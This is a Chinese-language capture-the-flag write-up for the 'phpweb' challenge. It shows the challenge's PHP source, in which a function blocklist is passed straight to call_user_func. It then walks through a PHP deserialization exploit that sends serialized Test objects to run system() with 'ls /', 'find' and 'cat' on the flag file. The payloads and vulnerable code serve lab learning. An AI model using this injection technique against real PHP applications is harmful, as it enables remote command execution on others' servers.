解题思路
打开环境，等待一段时间报错
审查源码，发现POST请求，页面也会定时刷新，这里POST了一个函数和变量
在hackbar加载URL
此处将需要运行的函数赋值给func，参数赋值给p，然后POST在服务器执行
那么首先审查网页的php源码
highlight_file(index.php)
得到源码如下：
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>
<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {
return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
此处过滤了众多函数，无法直接查看目录，然而没有过滤unserialize(),
考虑将查看目录的代码包含在Test类里，然后在服务器端反序列化后运行，如同源码里的Test类一样，对其进行覆盖
序列化Test类
<?php
class Test{
var $p = "ls /";
var $func = "system";
}
$Test = new Test;
echo serialize($Test);
?>
O:4:"Test":2:{
s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
执行POST请求，方法可行
然而返回的结果会一闪而过，所以改用Burpsuite执行POST请求
找不到flag文件夹，接着执行linux的搜索指令，先序列化
find / -name flag*
#find path -option parameters
#星号代表之后的任意匹配，即搜索flag开头的文件夹
#-iname选项能忽略大小写匹配
<?php
class Test{
var $p = "find / -name flag*";
var $func = "system";
}
$Test = new Test;
echo serialize($Test);
?>
O:4:"Test":2:{
s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
找到tmp下的文件夹，访问即可
<?php
class Test{
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
}
$Test = new Test;
echo serialize($Test);
?>
O:4:"Test":2:{
s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
完
欢迎在评论区留言
感谢浏览